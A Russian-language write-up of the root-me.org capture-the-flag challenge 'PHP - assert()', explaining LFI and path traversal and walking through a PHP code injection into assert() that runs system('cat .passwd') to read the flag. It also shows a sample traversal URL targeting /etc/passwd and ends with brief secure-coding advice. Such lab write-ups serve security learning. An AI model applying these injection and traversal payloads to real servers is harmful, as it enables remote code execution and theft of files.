Всем привет, сегодня воскресенье, поэтому займёмся чем-нибудь интересным. Например, порешаем задачки на информационную безопасность web-серверов. Сегодня задачка с портала root-me.org, называется "PHP - assert()". За решение задачки дают 25 баллов, ближе к среднему уровню.
Нам предлагают найти и проэксплуатировать уязвимость, прочитав скрытый файл ".passwd". В помощь документация про LFI и RFI.
Local File Inclusion (LFI) — возможность использования локальных файлов сервера. Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере.
Remote File Inclusion (RFI) — возможность использования файлов с удалённого сервера. Уязвимость позволяет удаленному пользователю с помощью специально сформированного запроса внедрить в код веб-сервера файл с удалённого ресурса, например, по ссылке HTTPS.
Нам предлагают считать локальный файл, так что речь, скорее всего, про LFI, там более что про LFI целых три документа.
LFI уязвимость присутствует там, где присутствует некорректная обработка входных данных, которой может воспользоваться злоумышленник и инжектировать символы типа path traversal и включать другие файлы с web-сервера. Path Traversal — это частный случай LFI.
Path Traversal — получение доступа к файлам и каталогам, которые расположены вне пределов, определенных конфигурацией. Путем манипулирования переменными, которые указывают на положение файлов, с помощью последовательностей "../" и их вариаций, может быть получен доступ к любым файлам и каталогам, имеющимся в системе.
http://example.com/?search=/../../../../../../etc/passwd
Из теории у нас осталась ещё PHP функция assert(). Читаем описание и видим: "If the assertion is given as a string it will be evaluated as PHP code by assert()." Если в эту функцию передать строку, то она выполнится как PHP код. А вот и наше удобное место для инъекции.
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch47/
Нас встречают злобным смехом: You will never find out where our secrets are located... ahahaha (Evil laugh). В вольном переводе: "Ты никогда не найдёшь, где находятся наши секреты... у-хахаха (Злой смех)".
Доступна менюшка из трёх пунктов:
- Home
- About
- Contact
Тыкаем. About: We are evil h4ckers and we will soon rule the world ! Злые хацкеры будут рулить миром!
Contact: In case of problem call us on +48 15 16 23 42. Отлично, если не справимся, то позвоним.
В URL имеется переменная page, в неё передаётся параметр. Ну давайте введём что-нибудь своё. Передадим туда имя файла, который нас просили прочитать: ".passwd".
'includes/.passwd.php'File does not exist
Вот и дыра. Файл не найден. То есть, если лам будет какой-то секретный файл, то можно его выполнить и попасть туда, куда не надо. Осложняем нам жизнь то, что код автоматически подставляет к имени файла "includes/" спереди и ".php" сзади. Давайте попробуем выйти за пределы директории includes с помощью Path Traversal. Передадим что-то вроде "../hello".
Warning: assert(): Assertion "strpos('includes/../hello.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!
Нам только что выдали кусок кода, который выполняется в PHP внутри функции assert():
strpos('includes/../hello.php', '..') === false
Функция strpos() проверяет, есть ли в начале строки две точки, тем самым защищая от Path Traversal. Однако, наша переменная вставлена внутрь. Получается, код PHP там примерно такой:
strpos('includes/' . $_GET['page'] . '.php', '..') === false
Если пофантазировать, то даже такой:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
assert("strpos('includes/' . $page . '.php', '..') === false") or die("Detected hacking attempt!");
?>
Давайте попробуем выполнить PHP инъекцию и превратить код внутри assert() примерно в такой, тем самым проверим, можем ли мы выполнить инъекцию:
strpos('includes/about.php', '..') === false and strpos('includes/about.php', '..') === false
Для этого нам нужно передать в переменную path: "about.php', '..') === false and strpos('includes/about".
Содержимое функции assert() вернуло TRUE, наш код успешно выполнился. И даже попытался найтись такой странный файл. Модифицируем нашу функцию таким образом, чтобы прочитать секретный файл ".passwd":
strpos('includes/about.php', '..') === false and system('cat .passwd') and strpos('includes/about.php', '..') === false
Для этого нам нужно передать в переменную path: "about.php', '..') === false and system('cat .passwd') and strpos('includes/about".
Даже не пришлось выходить за пределы функции assert(). Флаг у нас в руках, валидируем:
Флаг подходит, зарабатываем 25 очков.
Безопасность
Следует более серьёзно проверять пользовательский ввод.
Если вы используете функции, которые выполняют перевод строки в PHP, не стоит вставлять туда пользовательские переменные, это открывает возможность выполнить PHP инъекцию.